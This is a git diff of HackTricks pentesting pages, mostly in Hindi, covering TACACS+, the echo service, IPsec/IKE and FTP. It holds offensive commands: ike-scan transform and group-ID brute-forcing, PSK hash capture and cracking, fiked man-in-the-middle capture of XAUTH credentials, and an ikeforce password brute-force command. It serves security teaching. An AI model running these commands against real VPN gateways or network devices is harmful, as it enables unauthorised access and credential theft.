* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**टर्मिनल एक्सेस कंट्रोलर एक्सेस कंट्रोल सिस्टम (TACACS)** प्रोटोकॉल का उपयोग राउटर्स या नेटवर्क एक्सेस सर्वर (NAS) तक पहुँचने की कोशिश कर रहे उपयोगकर्ताओं को केंद्रीय रूप से मान्य करने के लिए किया जाता है। इसका उन्नत संस्करण, **TACACS+**, सेवाओं को प्रमाणीकरण, प्राधिकरण, और लेखांकन (AAA) में विभाजित करता है।
|
||||
**टर्मिनल एक्सेस कंट्रोलर एक्सेस कंट्रोल सिस्टम (TACACS)** प्रोटोकॉल का उपयोग राउटर्स या नेटवर्क एक्सेस सर्वर (NAS) तक पहुँचने की कोशिश कर रहे उपयोगकर्ताओं को केंद्रीय रूप से मान्य करने के लिए किया जाता है। इसका उन्नत संस्करण, **TACACS+**, सेवाओं को प्रमाणीकरण, प्राधिकरण और लेखा (AAA) में विभाजित करता है।
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
|
@ -38,7 +30,7 @@ PORT STATE SERVICE
|
|||
|
||||
### MitM हमले का प्रदर्शन करना
|
||||
|
||||
**ARP स्पूफिंग हमले का उपयोग मैन-इन-द-मिडल (MitM) हमले को करने के लिए किया जा सकता है**।
|
||||
एक **ARP स्पूफिंग हमला एक मैन-इन-द-मिडल (MitM) हमले को करने के लिए उपयोग किया जा सकता है**।
|
||||
|
||||
### कुंजी को ब्रूट-फोर्स करना
|
||||
|
||||
|
@ -49,7 +41,7 @@ sudo loki_gtk.py
|
|||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **हम उपकरणों तक पहुँच प्राप्त कर सकते हैं और TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट कर सकते हैं।**
|
||||
|
||||
### Decrypting Traffic
|
||||
Once the key is successfully cracked, the next step is to **TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट करना**। Wireshark एन्क्रिप्टेड TACACS ट्रैफ़िक को संभाल सकता है यदि कुंजी प्रदान की जाए। डिक्रिप्टेड ट्रैफ़िक का विश्लेषण करके, जानकारी जैसे कि **उपयोग किए गए बैनर और व्यवस्थापक उपयोगकर्ता का उपयोगकर्ता नाम** प्राप्त किया जा सकता है।
|
||||
Once the key is successfully cracked, the next step is to **TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट करना**। Wireshark एन्क्रिप्टेड TACACS ट्रैफ़िक को संभाल सकता है यदि कुंजी प्रदान की जाए। डिक्रिप्टेड ट्रैफ़िक का विश्लेषण करके, जानकारी जैसे कि **उपयोग किए गए बैनर और व्यवस्थापक** उपयोगकर्ता का उपयोगकर्ता नाम प्राप्त किया जा सकता है।
|
||||
|
||||
प्राप्त क्रेडेंशियल्स का उपयोग करके नेटवर्क उपकरण के नियंत्रण पैनल तक पहुँच प्राप्त करके, हमलावर नेटवर्क पर नियंत्रण स्थापित कर सकता है। यह ध्यान रखना महत्वपूर्ण है कि ये क्रियाएँ केवल शैक्षिक उद्देश्यों के लिए हैं और इन्हें उचित प्राधिकरण के बिना उपयोग नहीं किया जाना चाहिए।
|
||||
|
||||
|
@ -57,11 +49,6 @@ Once the key is successfully cracked, the next step is to **TACACS-एन्क
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,22 +13,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# Basic Information
|
||||
|
||||
इस होस्ट पर एक इको सेवा चल रही है। इको सेवा परीक्षण और माप के उद्देश्यों के लिए बनाई गई थी और यह TCP और UDP प्रोटोकॉल दोनों पर सुन सकती है। सर्वर जो भी डेटा प्राप्त करता है, उसे बिना किसी संशोधन के वापस भेजता है।\
|
||||
**एक ही या दूसरे मशीन पर इको सेवा को इको सेवा से जोड़कर सेवा से इनकार करना संभव है**। उत्पन्न होने वाले अत्यधिक उच्च पैकेट संख्या के कारण, प्रभावित मशीनों को प्रभावी रूप से सेवा से बाहर किया जा सकता है।\
|
||||
जानकारी [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) से
|
||||
इस होस्ट पर एक इको सेवा चल रही है। इको सेवा परीक्षण और माप के उद्देश्यों के लिए बनाई गई थी और यह TCP और UDP प्रोटोकॉल दोनों पर सुन सकती है। सर्वर किसी भी डेटा को वापस भेजता है जो इसे प्राप्त होता है, बिना किसी संशोधन के।\
|
||||
**एक ही या दूसरे मशीन पर इको सेवा को इको सेवा से कनेक्ट करके सेवा का इनकार करना संभव है**। उत्पन्न होने वाले अत्यधिक उच्च संख्या में पैकेट के कारण, प्रभावित मशीनों को प्रभावी रूप से सेवा से बाहर किया जा सकता है।\
|
||||
Info from [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 7/tcp/udp
|
||||
**Default Port:** 7/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
|
@ -48,15 +40,9 @@ Hello echo #This is the response
|
|||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 UDP पोर्ट Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 UDP पोर्ट डिनायल-ऑफ-सेवा हमला](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -16,27 +16,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**IPsec** को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है।
|
||||
**IPsec** को नेटवर्क (LAN-to-LAN) के बीच संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है।
|
||||
|
||||
दो बिंदुओं के बीच **सुरक्षा संघ (SA)** की स्थापना **IKE** द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है:
|
||||
दो बिंदुओं के बीच **सुरक्षा संघ (SA)** की स्थापना **IKE** द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है:
|
||||
|
||||
* **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या **आक्रामक मोड**।
|
||||
* **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक पूर्व-शेयर की गई कुंजी (PSK) या प्रमाणपत्रों का उपयोग करके प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या **आक्रामक मोड**।
|
||||
* **चरण 1.5:** हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।
|
||||
* **चरण 2:** यह चरण डेटा को **ESP** और **AH** के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह **परफेक्ट फॉरवर्ड सीक्रेसी (PFS)** सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, सुरक्षा को बढ़ाता है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 500/udp
|
||||
|
||||
## **nmap** का उपयोग करके सेवा का **खोजें**
|
||||
## **nmap** का उपयोग करके सेवा का पता लगाएं
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
|
@ -50,7 +42,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
|
||||
IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। **प्रत्येक परिवर्तन** में DES या 3DES जैसे **एन्क्रिप्शन एल्गोरिदम**, SHA या MD5 जैसे **अखंडता एल्गोरिदम**, एक पूर्व-शेयर की के रूप में **प्रमाणीकरण प्रकार**, Diffie-Hellman 1 या 2 के रूप में कुंजी **वितरण एल्गोरिदम** और 28800 सेकंड के रूप में **जीवनकाल** जैसे कई गुण होते हैं।
|
||||
|
||||
फिर, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन ढूंढना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक ISAKMP हेडर के साथ गेटवे को एक पैकेट भेजता है और इसके अंदर **आठ परिवर्तनों के साथ** एकल प्रस्ताव भेजता है।
|
||||
तो, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन ढूंढना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक ISAKMP हेडर के साथ गेटवे को एक पैकेट भेजता है और इसके अंदर **आठ परिवर्तनों के साथ** एकल प्रस्ताव भेजता है।
|
||||
|
||||
प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं:
|
||||
```
|
||||
|
@ -67,12 +59,12 @@ As you can see in the previous response, there is a field called **AUTH** with t
|
|||
**The value of the last line is also very important:**
|
||||
|
||||
* _0 returned handshake; 0 returned notify:_ इसका मतलब है कि लक्ष्य **IPsec गेटवे नहीं है**।
|
||||
* _**1 returned handshake; 0 returned notify:**_ इसका मतलब है कि **लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE बातचीत करने के लिए इच्छुक है, और आप द्वारा प्रस्तावित एक या अधिक परिवर्तन स्वीकार्य हैं** (एक मान्य परिवर्तन आउटपुट में दिखाया जाएगा)।
|
||||
* _0 returned handshake; 1 returned notify:_ VPN गेटवे एक सूचित संदेश के साथ प्रतिक्रिया करते हैं जब **कोई भी परिवर्तन स्वीकार्य नहीं है** (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)।
|
||||
* _**1 returned handshake; 0 returned notify:**_ इसका मतलब है कि **लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE बातचीत करने के लिए तैयार है, और आप द्वारा प्रस्तावित एक या अधिक परिवर्तन स्वीकार्य हैं** (एक मान्य परिवर्तन आउटपुट में दिखाया जाएगा)।
|
||||
* _0 returned handshake; 1 returned notify:_ VPN गेटवे तब एक सूचनात्मक संदेश के साथ प्रतिक्रिया करते हैं जब **कोई भी परिवर्तन स्वीकार्य नहीं है** (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)।
|
||||
|
||||
Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to **brute-force a little bit to find a valid transformation:**
|
||||
फिर, इस मामले में हमारे पास पहले से ही एक मान्य परिवर्तन है लेकिन यदि आप 3रे मामले में हैं, तो आपको **एक मान्य परिवर्तन खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:**
|
||||
|
||||
First of all you need to create all the possible transformations:
|
||||
सबसे पहले, आपको सभी संभावित परिवर्तनों को बनाना होगा:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
|
@ -92,7 +84,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
|||
```
|
||||
![](<../.gitbook/assets/image (617).png>)
|
||||
|
||||
In **DH Group: 14 = 2048-bit MODP** and **15 = 3072-bit**\
|
||||
In **DH Group: 14 = 2048-बिट MODP** और **15 = 3072-बिट**\
|
||||
**2 = HMAC-SHA = SHA1 (इस मामले में)। `--trans` प्रारूप है $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि **जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा के एन्क्रिप्शन को तोड़ सकते हैं।** यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा लगता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है।
|
||||
|
@ -156,19 +148,19 @@ Or use this dict (is a combination of the other 2 dicts without repetitions):
|
|||
|
||||
### Iker के साथ ID का ब्रूटफोर्सिंग
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी संभावित समूह नामों को ब्रूटफोर्स करने के लिए **ike-scan** का उपयोग करता है। यह **ike-scan के आउटपुट के आधार पर एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है।
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी **ike-scan** का उपयोग करके संभावित समूह नामों का ब्रूटफोर्सिंग करता है। यह **ike-scan** के आउटपुट के आधार पर **एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है।
|
||||
|
||||
### ikeforce के साथ ID का ब्रूटफोर्सिंग
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **IDs को ब्रूटफोर्स करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का लाभ उठाने की कोशिश करेगा** जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **ID का ब्रूटफोर्सिंग करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का शोषण करने की कोशिश करेगा** जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।
|
||||
|
||||
डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने की रणनीति निर्धारित की जा सके।
|
||||
डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके।
|
||||
|
||||
* **पहली विधि** समूह नामों को ब्रूट-फोर्स करने के लिए **Dead Peer Detection DPD** की जानकारी की **खोज** करना है जो Cisco सिस्टमों में होती है (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।
|
||||
* **पहली विधि** समूह नामों को **खोजने** के द्वारा ब्रूट-फोर्स करना है **Dead Peer Detection DPD** की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।
|
||||
* उपलब्ध **दूसरी विधि** यह है कि **प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें** क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं।
|
||||
* **तीसरी विधि** **गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज** करना है।
|
||||
* **तीसरी विधि** **गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज करने** पर आधारित है।
|
||||
* अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः नहीं भेजता है, तो **ikeforce** सर्वर को ब्रूटफोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।\
|
||||
स्पष्ट रूप से, ID को ब्रूटफोर्स करने का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH को ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।
|
||||
स्पष्ट है, ID का ब्रूटफोर्सिंग करने का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH का ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।
|
||||
|
||||
यदि आपने एक विशिष्ट परिवर्तन खोजा है तो इसे ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)।
|
||||
```bash
|
||||
|
@ -191,7 +183,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
The hash _hash.txt_ के अंदर सहेजा जाएगा।
|
||||
हैश _hash.txt_ के अंदर सहेजा जाएगा।
|
||||
|
||||
आप **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) का उपयोग करते हुए) और **hashcat** का उपयोग करके हैश को **crack** कर सकते हैं:
|
||||
```bash
|
||||
|
@ -199,21 +191,21 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
```
|
||||
## **XAuth**
|
||||
|
||||
**आक्रामक मोड IKE** को **पूर्व-शेयर की (PSK)** के साथ मिलाकर **समूह प्रमाणीकरण** उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (विस्तारित प्रमाणीकरण)** द्वारा बढ़ाया गया है, जो **उपयोगकर्ता प्रमाणीकरण** की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण आमतौर पर **Microsoft Active Directory**, **RADIUS**, या समान प्रणालियों जैसी सेवाओं का उपयोग करता है।
|
||||
**आक्रामक मोड IKE** को **पूर्व-शेयर की (PSK)** के साथ मिलाकर **समूह प्रमाणीकरण** उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (विस्तारित प्रमाणीकरण)** द्वारा बढ़ाया गया है, जो **उपयोगकर्ता प्रमाणीकरण** की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण सामान्यतः **Microsoft Active Directory**, **RADIUS**, या तुलनीय प्रणालियों जैसी सेवाओं का उपयोग करता है।
|
||||
|
||||
**IKEv2** में संक्रमण करते समय, एक उल्लेखनीय बदलाव देखा जाता है जहाँ **EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है।
|
||||
**IKEv2** में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ **EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को रेखांकित करता है।
|
||||
|
||||
### स्थानीय नेटवर्क MitM क्रेडेंशियल कैप्चर करने के लिए
|
||||
|
||||
तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [अधिक जानकारी](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN अंत बिंदु के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:
|
||||
तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [अधिक जानकारी](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN एंडपॉइंट के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
Also, using IPSec try to make a MitM attack and block all traffic to port 500, if the IPSec tunnel cannot be established maybe the traffic will be sent in clear.
|
||||
|
||||
### Brute-forcing XAUTH username ad password with ikeforce
|
||||
### Brute-forcing XAUTH username और password with ikeforce
|
||||
|
||||
To brute force the **XAUTH** (जब आप एक मान्य समूह नाम **id** और **psk** जानते हैं) you can use a username or list of usernames and a list o passwords:
|
||||
To brute force the **XAUTH** (when you know a valid group name **id** and the **psk**) you can use a username or list of usernames and a list o passwords:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
|
@ -260,11 +252,6 @@ VPN कॉन्फ़िगर करते समय प्लेसहोल
|
|||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**फाइल ट्रांसफर प्रोटोकॉल (FTP)** एक मानक प्रोटोकॉल के रूप में कार्य करता है जो एक कंप्यूटर नेटवर्क के माध्यम से एक सर्वर और एक क्लाइंट के बीच फ़ाइलों के स्थानांतरण के लिए है।\
|
||||
**फाइल ट्रांसफर प्रोटोकॉल (FTP)** एक मानक प्रोटोकॉल है जो एक सर्वर और एक क्लाइंट के बीच कंप्यूटर नेटवर्क पर फाइल ट्रांसफर के लिए कार्य करता है।\
|
||||
यह एक **सादा-टेक्स्ट** प्रोटोकॉल है जो **नया लाइन कैरेक्टर `0x0d 0x0a`** का उपयोग करता है, इसलिए कभी-कभी आपको **`telnet`** या **`nc -C`** का उपयोग करके **कनेक्ट** करने की आवश्यकता होती है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 21
|
||||
|
@ -54,7 +46,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **कैस
|
|||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
```
|
||||
### FTP के लिए starttls का उपयोग करके कनेक्ट करें
|
||||
### STARTTLS का उपयोग करके FTP से कनेक्ट करें
|
||||
```
|
||||
lftp
|
||||
lftp :~> set ftp:ssl-force true
|
||||
|
@ -132,7 +124,7 @@ nmap --script ftp-* -p 21 <ip>
|
|||
```
|
||||
## Browser connection
|
||||
|
||||
